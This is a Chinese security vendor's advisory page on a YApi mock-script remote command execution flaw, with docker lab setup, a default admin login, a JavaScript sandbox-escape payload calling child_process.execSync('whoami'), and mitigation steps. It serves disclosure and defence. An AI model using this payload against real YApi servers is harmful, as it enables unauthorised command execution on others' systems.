数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务YApi 是高效、易用、功能强大的 api 管理平台,是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
1
漏洞概述
YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
目前该漏洞利用细节已在互联网公开,且Github中存在大量用户反馈被该漏洞攻击的情况,建议受影响用户及时排查并修复。
2
环境搭建
使用docker 来搭建漏洞环境:
1.获取 Yapi 镜像
sudodocker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
2.创建挂载目录
sudomkdir -p /data/yapi/mongodata
3.运行专用mongo
sudodocker run --restart always -v /data/yapi/mongodata:/data/db -d --nameyapimongo mongo
4.初始化 Yapi 数据库索引及管理员账号
sudodocker run -it --rm --link yapimongo:mongo --entrypoint npm --workdir/api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
5.启动 Yapi 服务
sudodocker run -d --restart=always --name yapi --link yapimongo:mongo--workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js
6.安装启动成功之后访问http://localhost:3000
3
漏洞复现
1.利用已知的账号登录Yap
登录账号:admin@admin.com 密码:ymfe.org
2.添加项目
3.选择设置,设置全局mock脚本
const sandbox = this
const ObjectConstructor =this.constructor
const FunctionConstructor =ObjectConstructor.constructor
const myfun = FunctionConstructor('returnprocess')
const process = myfun()
mockJson =process.mainModule.require("child_process").execSync("whoami").toString()
4.此时需要添加一个接口
5.访问 Mock 地址 http://192.168.153.131:3000/mock/11/testing 就可以看到命令执行成功。
4
修复建议
1.如果没有使用注册的需求,建议关闭 Yapi 的注册功能。通过修改 Yapi 项目目录下的 config.json 文件,将 closeRegister 字段修改为true 并重启服务即可。
2.如果没有 Mock 功能的需求,建议关闭 Yapi 的 Mock 功能。
在"config.json"中添加"mock:false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if(caseData&&caseData.case_enable{...}
在其上方添加
if(!yapi.WEBCONFIG.mock){return false;}
3.检查用户列表,删除恶意不明用户;并删除恶意不明用户创建的接口及mock脚本。